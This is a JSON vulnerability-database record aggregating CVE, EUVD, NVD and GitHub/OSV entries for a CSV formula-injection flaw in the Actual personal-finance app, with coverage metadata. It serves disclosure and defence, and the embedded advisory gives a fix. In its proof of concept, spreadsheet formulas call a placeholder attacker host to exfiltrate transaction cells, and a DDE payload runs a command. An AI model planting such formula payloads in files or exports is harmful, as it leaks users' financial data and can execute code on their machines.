{"id":"EUVD-2026-42104","revision":null,"records":[{"revision":"611d868d2066422b8bd40b5306b48a35","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-50179","aliases":[],"title":"Actual: CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields","description":"Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.","state":0,"publishedAt":"2026-07-07T20:58:16.074+00:00","modifiedAt":"2026-07-09T14:42:17.117+00:00","affected":[{"ecosystem":"Vendor product","name":"actual","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"actualbudget\",\n                    \"product\": \"actual\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 26.6.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","score":4.2,"severity":"MEDIUM"}],"references":["https://github.com/actualbudget/actual/security/advisories/GHSA-xqjm-27pc-rvwm","https://github.com/actualbudget/actual/commit/068185751c03b42e726e3c60b718413d5f96c306","https://github.com/actualbudget/actual/releases/tag/v26.6.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-50179","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-50179","identifiers":["CVE-2026-50179"]},"retained":false,"historicalAffected":[]},{"revision":"1c94fd0c6cfe4bf4993166f63030be04","observedAt":"2026-11-07T11:33:05.62+00:00","statement":{"source":"euvd","id":"EUVD-2026-42104","aliases":["CVE-2026-50179","GHSA-xqjm-27pc-rvwm"],"title":"Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-s…","description":"Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","score":4.2,"severity":null}],"references":["https://github.com/actualbudget/actual/security/advisories/GHSA-xqjm-27pc-rvwm","https://github.com/actualbudget/actual/commit/068185751c03b42e726e3c60b718413d5f96c306","https://github.com/actualbudget/actual/releases/tag/v26.6.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-42104","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 7, 2026, 8:58:16 PM","dateUpdated":"Jul 9, 2026, 2:42:17 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-42104","identifiers":["EUVD-2026-42104","CVE-2026-50179","GHSA-xqjm-27pc-rvwm"]},"retained":false,"historicalAffected":[]},{"revision":"5c5cb4fcfa3c430ca4d76390007303df","observedAt":"2026-10-27T13:11:58.28+00:00","statement":{"source":"nvd","id":"CVE-2026-50179","aliases":[],"title":"Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-s…","description":"Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.","state":0,"publishedAt":"2026-07-07T22:16:52.923+00:00","modifiedAt":"2026-10-25T20:10:00.147+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","score":4.2,"severity":"MEDIUM"}],"references":["https://github.com/actualbudget/actual/commit/068185751c03b42e726e3c60b718413d5f96c306","https://github.com/actualbudget/actual/releases/tag/v26.6.0","https://github.com/actualbudget/actual/security/advisories/GHSA-xqjm-27pc-rvwm"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-50179","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-1236"],"productCriteria":[],"sourceDates":{"published":"2026-07-07T22:16:52.923","lastModified":"2026-10-25T20:10:00.147"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-50179","identifiers":["CVE-2026-50179"]},"retained":false,"historicalAffected":[]},{"revision":"77505334b85a4d9292cea8e47eb4fc06","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-xqjm-27pc-rvwm","aliases":["CVE-2026-50179"],"title":"@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields","description":"## Summary\n\n`exportToCSV` and `exportQueryToCSV` in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` pass user-controlled `Payee`, `Notes`, `Account`, and `Category` strings to `csv-stringify` with no `cast` callback and no formula-prefix neutralization. Strings that begin with `=`, `+`, `-`, `@`, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. `=HYPERLINK(\"http://attacker/?leak=\"&B2,\"Bank refund\")` is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. `=WEBSERVICE`/`=IMPORTXML` provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.\n\n## Details\n\nSink — `packages/loot-core/src/server/transactions/export/export-to-csv.ts:56`:\n\n```ts\nreturn csvStringify(transactionsForExport, { header: true });\n```\n\nand the same call again at `export-to-csv.ts:131` for `exportQueryToCSV`. `csv-stringify` v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — `grep` for `csvStringify` finds exactly one source file across the monorepo.\n\nSource of attacker-controlled `Payee`/`Notes`:\n\n- `packages/loot-core/src/server/transactions/import/parse-file.ts:77` dispatches uploaded files to `parseCSV` (`:109`), `parseOFX` (`:200`), `parseQIF` (`:158`), `parseCAMT` (`:250`). None of them strip or escape formula prefixes from `payee_name`/`imported_payee`/`notes`.\n- For OFX, `mapOfxTransaction` in `packages/loot-core/src/server/transactions/import/ofx2json.ts` only runs `html2Plain` (HTML entity decoding) on the NAME field — `=`, `+`, `-`, `@`, `\\t` are untouched.\n- `sync.normalizeTransactions` (`packages/loot-core/src/server/transactions/sync.ts`) applies `title()` casing, which only mutates letters via `String.toLowerCase`; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (`=hyperlink(...)` parses identically to `=HYPERLINK(...)`).\n- The payee can also be entered directly through the UI or set via the `@actual-app/api`'s payee/transaction CRUD endpoints — anyone with write access to a shared budget can plant the payload.\n\nVerification that `csv-stringify` does not neutralize formulas:\n\n```\n$ node -e \"const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\\\"http://x/?\\\"&B2,\\\"refund\\\")'}],{header:true}))\"\nPayee\n\"=HYPERLINK(\"\"http://x/?\"\"&B2,\"\"refund\"\")\"\n```\n\nThe double-quote escaping is intact, but the leading `=` is not prefixed with `'` or otherwise neutralized — Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.\n\n## PoC\n\n1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into \"Import file\":\n\n```\nDate,Payee,Amount\n2026-01-01,\"=HYPERLINK(\"\"http://attacker.evil/leak?d=\"\"&B2&C2,\"\"Bank refund details\"\")\",100.00\n2026-01-02,\"@SUM(1+1)*cmd|'/c calc'!A0\",50.00\n2026-01-03,\"+1+1\",-25.00\n2026-01-04,\"=WEBSERVICE(\"\"http://attacker.evil/?d=\"\"&B2)\",10.00\n```\n\n2. Victim imports through Account → Import file. `parseFile` (`parse-file.ts:77`) → `parseCSV`/`parseOFX`/`parseQIF`/`parseCAMT` returns rows with the formula strings preserved as `payee_name`. `sync.normalizeTransactions` does not strip the prefix characters.\n3. Payees are persisted into the `payees` table verbatim.\n4. Some time later the victim runs Account → menu → Export. `transactions-export-query` invokes `exportQueryToCSV` (`export-to-csv.ts:131`).\n5. The exported file looks like (verified output shape from `csvStringify`):\n\n```\nAccount,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared\nChecking,2026-01-01,\"=HYPERLINK(\"\"http://attacker.evil/leak?d=\"\"&B2&C2,\"\"Bank refund details\"\")\",,,,100.00,0,Not cleared\nChecking,2026-01-02,@SUM(1+1)*cmd|'/c calc'!A0,,,,50.00,0,Not cleared\nChecking,2026-01-03,+1+1,,,,-25.00,0,Not cleared\nChecking,2026-01-04,\"=WEBSERVICE(\"\"http://attacker.evil/?d=\"\"&B2)\",,,,10.00,0,Not cleared\n```\n\n6. Victim or downstream recipient (accountant, spouse, tax preparer) opens the CSV in Excel/LibreOffice/Sheets. `=HYPERLINK(...)` renders as a clickable link that exfiltrates adjacent cell values to attacker on click; `=WEBSERVICE`/`=IMPORTXML` (Sheets/LibreOffice) fire automatically; legacy `=cmd|...` DDE may execute on unpatched Excel.\n\n## Impact\n\n- **Confidentiality**: Adjacent transaction data (amounts, account names, balances, payees, categories) can be exfiltrated to attacker-controlled URLs through `=HYPERLINK` clicks or auto-firing `=WEBSERVICE`/`=IMPORTXML`.\n- **Integrity**: Spreadsheet recipients (accountants, tax preparers) see attacker-chosen display values where they expected raw payee names, enabling fraud (e.g., forged \"Refund\" line items linking to phishing).\n- **Reach**: Exports from Actual Budget are commonly shared with third parties (accountants, tax software, household members). One malicious imported statement contaminates every future export of that budget.\n- **Note on AC:H**: requires victim-driven import → export → spreadsheet open. Modern Excel disables DDE by default, narrowing the RCE pathway, but `=HYPERLINK` exfil is universal and silent.\n\n## Recommended Fix\n\nPass a `cast.string` callback to `csv-stringify` that prefixes any formula-trigger string with a single quote, the OWASP-recommended neutralization. Apply at both call sites in `packages/loot-core/src/server/transactions/export/export-to-csv.ts`:\n\n```ts\nimport { stringify as csvStringify } from 'csv-stringify/sync';\n\nconst FORMULA_PREFIX = /^[=+\\-@\\t\\r]/;\n\nfunction neutralizeFormula(value: string): string {\n  return FORMULA_PREFIX.test(value) ? `'${value}` : value;\n}\n\nconst csvOptions = {\n  header: true,\n  cast: {\n    string: (value: string) => neutralizeFormula(value),\n  },\n} as const;\n\n// export-to-csv.ts:56\nreturn csvStringify(transactionsForExport, csvOptions);\n\n// export-to-csv.ts:131\nreturn csvStringify(transactionsForExport, csvOptions);\n```\n\nAlternative defenses to consider in addition:\n- Strip/neutralize formula prefixes on import in `parse-file.ts` for `payee_name`/`notes` so the database never contains formula-shaped strings (defense in depth — protects any future export consumers).\n- Add a regression unit test that asserts every CSV cell starting with `=`, `+`, `-`, `@`, `\\t`, or `\\r` is prefixed with `'`.","state":0,"publishedAt":"2026-06-22T23:48:40+00:00","modifiedAt":"2026-09-10T03:51:09.7766243+00:00","affected":[{"ecosystem":"npm","name":"@actual-app/web","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"26.6.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/actualbudget/actual/security/advisories/GHSA-xqjm-27pc-rvwm","https://github.com/actualbudget/actual"],"sourceUrl":"https://github.com/advisories/GHSA-xqjm-27pc-rvwm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xqjm-27pc-rvwm","identifiers":["GHSA-xqjm-27pc-rvwm","CVE-2026-50179"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.018923+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0189237+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5978693a555a2fac0feee4f8e1cdc5e013b9a91b16046d4e34ae63a3d3db8d19","complete":true,"records":420947,"lastAttemptAt":"2026-11-07T21:52:16.4606105+00:00","lastSuccessAt":"2026-11-07T21:52:16.3995215+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.4606105+00:00","snapshotPublishedAt":"2026-11-07T21:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c91a0736a9624a48aebf081ca5dd86b2","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T22:04:27.1191985+00:00","lastSuccessAt":"2026-11-07T22:04:27.115+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:04:27.115+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.0199092+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0199095+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2b22c2d15f834007aa54c93f73b8deaf","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T21:52:42.2590883+00:00","lastSuccessAt":"2026-11-07T21:52:42.255+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:42.255+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T21:52:16.7352005+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7352005+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T21:52:16.5087916+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.5087916+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T21:52:16.7531721+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7531721+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T21:52:16.6283313+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.6283313+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}